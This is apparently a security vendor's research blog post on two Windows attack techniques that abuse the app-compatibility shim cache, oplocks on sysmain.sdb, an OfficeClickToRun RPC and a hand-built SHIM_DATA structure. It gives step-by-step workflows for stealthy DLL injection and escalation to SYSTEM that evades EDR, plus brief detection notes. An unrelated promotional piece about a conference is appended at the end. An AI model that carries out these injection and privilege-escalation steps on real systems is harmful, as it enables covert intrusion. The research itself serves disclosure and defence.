SDB files are a known attack vector and can be abused for code injection and API hooking, which means Endpoint Detection & Response (EDR) tools might detect new app compatibility configurations, even if they are benign. It’s also why EDR is not enough to protect your organization. We want to avoid registry changes and make this configuration without touching the disk. 

Looking for files related to app compatibility led to apphelp.dll, and the main API it uses is NtApphelpCacheControl. 

NtApphelpCacheControl 

This is an undocumented API that is exported by ntdll. It receives two parameters: an integer and a pointer to an unknown structure. Looking for usages of this API across GitHub led us to the file ahcache.h, which was included in previous versions of Windows SDK. This header file has detailed information about the function’s parameters. 

In addition, we looked for API usage by other OS components. It is used by several DLL files, such as kernel32.dll, sxssrv.dll, apphelp.dll, and more. 

When we applied the definitions of the WinAPI on calls to it in the DLL files we found inconsistencies. The size of memory allocated for the structure was larger than its definition. In some functions, the value of the first parameter was higher than the possible values of the Enum. This means that those definitions were changed since the SDK with ahcache.h was published. 

We continued looking at the usages of NtApphelpCacheControl and discovered that the symbols of combase.dll contained information about the API! Extracting the relevant definitions of the symbols resulted in an updated version of ahcache.h. It shows us the various operations that can be performed with the API.

Once we understand these definitions, the calls to the API in other DLL files are much clearer. CreateProcess calls this API behind the scenes with the parameter ApphelpCacheServiceLookupProcess:

When the operating system shuts down, the cache is flushed to the registry and, on startup, is read and “loaded” as the current cache database. If the cache is clear when a process is launched for the first time, there is no information about it, so the sdb file is read, and an entry is added to the cache that specifies if the file has app compatibility fixes. That is why the sdb file isn’t read when a process is launched for the second time. 

If we remove this entry from the cache, the sdb file will be read again. 

After looking at cross-references to NtApphelpCacheControl, we saw that both kernel32.dll and apphelp.dll perform the “remove” operation. They also have an exported function that simplifies the creation of the structure by accepting only the file name and the file handle. 

After calling NtApphelpCacheControl with the “remove” parameter, the file’s execution will once again trigger reading the sdb file, which we can lock to keep the process suspended. We can then inject our DLL. 

Attack #1 Workflow 

1. Write to disk the DLL that will be injected 

2. Find the path of the file that an arbitrary scheduled task will execute ("Office Automatic Updates 2.0" for example) 

3. Remove the shim cache for this file by calling BaseUpdateAppcompatCacheWorker from kernel32.dll 

4. Request oplock for C:\windows\apppatch\sysmain.sdb 

5. Send a message to the scheduled tasks service to execute “Office Automatic Updates 2.0” 

6. The process will create SYSTEM in a suspended state 

7. Scheduled tasks service will attempt to read C:\windows\apppatch\sysmain.sdb, then enter a wait state and won't resume the process 

8. The callback from the oplock will be called  

9. Send an RPC to the OfficeClickToRun service to inject the DLL into the suspended process 

10. Release the oplock, and the scheduled tasks service resumes the process 

11. The patched IAT will be used and the DLL will be loaded into a SYSTEM process

Attack #1 Summary 

This attack has the following advantages: 

1. A benign and known process does the injection for us by executing a technique not monitored by EDR solutions. As such, it is unlikely to raise any alarms. 

2. It injects the DLL into a benign process that cannot be connected to us. It is spawned as a child process of the task scheduler. 

3. We achieve code execution as “NT AUTHORITY\SYSTEM.” 

4. The rest of the actions we perform, such as calling NtApphelpCacheControl and requesting an OpLock, are mostly unmonitored by security products. 

This attack achieves both code injection and privilege escalation. It also demonstrates the process of looking for vulnerabilities. We found an RPC method that can be abused, but calling it wasn’t enough to execute a significant attack. When we hit an obstacle, we looked at another component of the OS to overcome it. Only by chaining all the manipulations can we gain something from the initial RPC call. 

Digging into the Apphelp Cache 

We wanted to gain a deeper understanding of what happens when we call NtApphelpCacheControl and what we can do with it. 

When the call to this API reaches the kernel, ntoskrnl.exe sends a device IO request to \Device\ahcache, which is controlled by ahcache.sys. 

When ahcache.sys is loaded, it reads the registry values under 
\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatCache : 
a. AppCompatCache 
b. CacheMainSdb 
c. SdbTime 

These values contain binary data that the driver sorts into an AVL table.

The various operations performed by NtApphelpCacheControl result in the lookup, insertion, or deletion of entries in the table. 

Each entry in the value’s AVL table that should be shimmed contains an EXE TAG. 
All entries contain the following: size of entry, size of data, data buffer, and NtImagePath. 
Data from the in-memory table is dumped into the registry value on shutdown/restart. 

Let’s take the VRCHAT.exe entry, for example, and grab 9CCC20. If we convert from the little-endian format, we get 0x20cc9c. With sdb-explorer, we can search for the converted value in a readable version of sysmain.sdb. 

If we look inside the actual sysmain.sdb file at the 0x20cc9c address, we can see the entry, including the TAGs presented above. 

While looking at the dispatch routines for \Device\ahcache, we noticed that the function that handles the request of ApphelpCacheServiceInitProcessData doesn’t access the AVL table. Instead, it writes into the memory of another process! 

Init Process Data 

When calling NtApphelpCacheControl with the parameter ApphelpCacheServiceInitProcessData, the structure that needs to be filled is: 

Based on reverse engineering and old definitions from ReactOS, the undocumented Data field should look like this:  

The function in ahcache.sys that handles this request is AhcApiInitProcessData. Before it writes to the memory of another process, several checks are made: 

a. ProcessHandle is not null 

b. DataSize is 0x11C0 or higher 

c. Data.Magic is 0xAC0DEDAB 

d. Data.Size is 0x11C0 

e. The calling process runs as NT AUTHORITY\SYSTEM and has the privilege SeTcbPrivilege 

f. Calling PsGetProcessProtection on the target process returns 0x81 (expanded upon below) 

g. The PEB of the target process is checked. BitField needs to have the flag IsPackagedProcess (0x10) turned on.  The call fails when PsGetProcessProtection is called. This function returns the field Protection from the EPROCESS structure. This field can be retrieved from user-mode and is documented under ZwQueryInformationProcess. The value 0x81 means that PS_PROTECTION.Type is PsProtectedTypeProtectedLight (0x1) and PS_PROTECTION.Signer is PsProtectedSignerApp (0x8). 

Looking at every process in Windows 11, we concluded that there are NO Windows Apps with this kind of protection. 
This means that we don’t have a target. 

We concluded that this call would not result in code injection, but we’ll leave it to the community to investigate this type of request and find a way to abuse it.  

Still, this undocumented structure piqued our intrest, and we wanted to understand what it represents. So, we looked for the magic values in all the DLL files on the system and found that several functions in kernel32.dll and apphelp.dll reference it: SdbUnpackAppCompatData, SdbPackAppCompatData, SdbGetAppCompatDataSize, BaseReadAppCompatDataForProcessWorker, BasepGetAppCompatData, and SbpGetShimData. 

Compatibility Fixes Initialization 

Reverse engineering the functions that reference this magic value revealed that this structure represents the shim fixes that need to be applied to the process. When a new process is created, the following steps occur as part of kernelbase!CreateProcessInternalW: 

a. The parent queries the apphelp cache to check if the child process requires shim fixes. 

b. The parent process reads sysmain.sdb to retrieve the complete information about the fixes. 

c. The parent builds the structure according to these specific fixes and writes it to the memory of the child process.  

d. The parent modifies the value of PEB->pShimData to point to the structure. 

e. ntdll loads apphelp.dll if pShimData is not empty 

f. apphelp.dll applies the shim fixes according to the structure 

Creating SHIM_DATA 

After the shim cache is queried, the parent process builds the SHIM_DATA structure as part of the call to CreateProcess.   

pShimData Injection 

To achieve our goal, we need to understand the fields of the undocumented structure written to PEB->pShimData.  

The tool “Compatibility Administrator” was used to install custom rules for various shims on the system.  

Once a custom rule was applied to a process, the raw data of SHIM_DATA was dumped from the memory of the process. The raw data was fuzzed by comparing it to other instances where a shim was applied to a process. Specific rules were created for different filenames and the structure was analyzed by looking at the difference between the values of the fields.  

In addition to custom rules, existing rules from sysmain.sdb were also tested. Processes were created to match the specifications of a rule, such as filename, version, company name, etc. Comparing the structure describing a custom rule to one describing a default rule sheds some light on additional fields.  

This methodology allows for the identification of patterns within both custom and standard sysmain.sdb entries, highlighting instances of exact matches, similarities, and complete differences in specific addresses in the dumps.

Finally, similar addresses are consolidated, and a process of elimination is initiated to determine which fields are non-essential, streamlining the structure for our uses. 

This is the definition of the structure after reverse engineering: 

We want to avoid registering a custom SDB file since it might be detected by a security product, so we need to find an existing entry in sysmain.sdb that applies the fix “Inject DLL.” The tool sdb-explorer can help us with that. 

According to this entry, RTvideo.dll will be injected if the process name starts with GLJ, ends with the temp extension, and has the correct company and product name. Luckily, these checks are done by the parent process. Once SHIM_DATA->ExeTag points to this entry, apphelp.dll will apply the fix without checking the conditions.  

Limitations 

a. The injected process must be launched as suspended. We cannot inject into a process that is already running. The callstack that leads to LoadLibrary goes through apphelp!SE_InstallAfterInit, which is an exported function. We tried executing the attack on an already-running process by writing our custom SHIM_DATA to it and then launching a remote thread on the process that will execute apphelp!SE_InstallAfterInit again. This attempt failed because apphelp!SE_InstallAfterInit checks a global variable, and if the process is already initialized, the check will fail and the shim data won’t be processed. 

b. The injected process cannot be a system file. AcGenral!NS_InjectDll::NotifyFn calls AcGenral!ShimLib::IsSystemExeFromSelf before injecting the DLL. The injection is skipped if the file is under C:\Windows\WinSXS or belongs to “Trusted Installer.”  

c. This shim fix is unavailable for 64-bit processes. To verify that Microsoft isn’t hiding this feature – and it truly is impossible – we can look at the code of the 64-bit version of AcGenral.dll. It doesn’t have a class called NS_InjectDll. 

With these limitations in mind, we started looking for a suitable executable file. 
And our previously mentioned “friend,” C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, is our target as it complies with all three limitations. 

Attack #2 Flow   

At this point, we have enough knowledge to abuse the App Compatibility mechanism. We can inject a DLL by performing the following steps: 

a. Write a DLL to disk named RTvideo.dll

b. Launch a suspended process and set the current directory to be the same as the one containing RTvideo.dll 

c. Build a SHIM_DATA structure and set the ExeTag to be 0x4ed54 

d. Write the structure to the memory of the child process  

e. Point PEB->pShimData to the structure 

f. Resume the child process 

g. apphelp.dll will apply the InjectDll fix, and our DLL will be loaded

Attack #2 Summary 

Malicious shims are a known attack vector detected by many security products. By reverse engineering this infrastructure, we were able to renovate it. We found a novel method to make this attack file-less and registry-less. We applied a malicious shim in a process without registering an SDB file on the system. We effectively bypassed EDR detection by writing to a child process and loading the target dll from the suspended child process before any EDR hook can be established. We chose the “InjectDll” shim, but this attack can be adapted to other malicious shim fixes. 

Detection 

1. First Attack:
   1. RPC to ClickToRunSvc with unusual DLL Paths
   2. Requesting OpLock for sysmain.sdb
   3. ClickToRunSvc writing to the memory of a process running as “NT AUTHORITY\SYSTEM”. 
2. Second Attack:
   1. Writing DLLs that appear in sysmain.sdb, to an unusual directory

Further Research - App Compatibility 

1. Find target for AhcApilnitProcessData
2. Reverse engineer SHIM_DATA to find more ways to manipulate apphelp.dll 

3. Poison the cache to cause another process to apply a malicious shim 

Conclusion 

We presented methodologies for attack surface research that led to new stealthy injection and privilege escalation techniques, which can be achieved by abusing two different OS components.  

By leveraging and manipulating various system components, including services, oplocks, and compatibility mechanisms, we demonstrated how to consolidate these elements into a singular, cohesive attack strategy.  

The oplock and compatibility mechanisms could be integral parts of other multi-component, sophisticated, and complex attacks. Oplock can be used in many scenarios as a building block, and there are far more shim fixes that can be used with malicious intent, even with 64-bit processes. 

Our extensive research uncovered new techniques for stealthy injection and privilege escalation, enhancing the effectiveness of these attacks. We demonstrated two attacks that won’t be monitored EDRs. The injections occur in a very early stage where EDRs can’t establish a hook yet.  

Through reverse engineering an undocumented API and its associated structures, we gained valuable insights that contributed to the development of these methods.  

Additionally, we modernized a previously known malicious technique, transforming it into a more elusive, fileless, and registry-less attack.  

We encourage the community to continue building on our research, exploring the leads we have provided to further advance the field. 

In the meantime, if you’re solely relying on EDR to detect and respond to breaches, learn more about why EDR is not enough, and then request a demo to find out how Deep Instinct leverages the only deep learning AI platform built for cybersecurity to prevent threats others can’t find. 

Github Repository 

Unsurprisingly, artificial intelligence (AI) continued to dominate onsite conversations, and similar to the RSA Conference earlier this year, both legacy and early-stage cybersecurity vendors felt compelled to tout “AI capabilities” in their marketing and booth collateral. But not all AI is created equal, and it sparked a conversation about the differences and nuances in AI technologies.

Many cybersecurity vendors promoted generative AI capabilities that are tacked onto existing technologies, a marketing tactic used to remain relevant in today’s AI conversations. But AI is not their core competency, and it never will be – at the end of the day, their AI explains how you were breached, but doesn’t prevent it.

We challenged booth visitors to ask vendors the hard-hitting questions about AI: Is it built on an archaic framework? Can it be air gapped? Is it the most advanced form of AI (deep learning), or just basic ML? The answers will tell you everything you need to know about vendors’ AI promises.

Deep Instinct is different from any other vendor in the market. Our deep learning (DL) cybersecurity framework prevents and explains unknown zero-day threats, so that security teams can both stop a breach before it happens and learn to predict the next attack. We’re a zero-day data security platform using the most advanced form of AI – developed before AI became a hot topic – to protect storage, applications, and endpoints, so your data remains secure regardless of where it resides.

Proven Prevention: Deep Instinct Wins CRN Award During Black Hat

During Black Hat, Deep Instinct’s Prevention for Storage (DPS) product was recognized by CRN in its 2024 Tech Innovator Awards. From more than 320 applicants, DPS rose to the top. DPS provides data storage threat prevention across NAS and cloud storage environments, preventing >99% of zero-day exploits, ransomware, and unknown threats in these storage repositories.

Highlighting Our Two Speaking Sessions at Black Hat and DEF CON

Capping off a memorable week were our two speaking sessions during Black Hat and DEF CON. First, our CIO and CISO, Carl Froggett, joined our VP of Global Sales Engineering, Brian Black, in a Black Hat session titled, “The Future of Cybersecurity: Embracing Prevention-First Strategies in the Age of Edge AI.” The duo discussed the new era of localized large language models (LLMs) amid the advent of neural processing units (NPUs) and neural engines in devices from Qualcomm and Apple. They also walked attendees through the implications of edge AI and localized LLMs, while highlighting the urgent need for prevention-focused approaches to safeguard against these evolving threats.

Then during DEF CON, Deep Instinct researchers Ron Ben-Yizhak and David Shandalov presented “SHIM Me What You Got - Manipulating Shim and Office for Code Injection,” introducing a novel and stealthy technique to apply malicious shims on a code injection process that does not require registry modification or SDB files and leaves no traces on the disk.

“Hacker summer camp” is always an exciting time, but what made this year even more memorable was the meteoric rise in AI visibility, and discussions centered on how to fight AI with better AI. The answer is deep learning. See for yourself what’s possible by requesting a Deep Instinct demo today.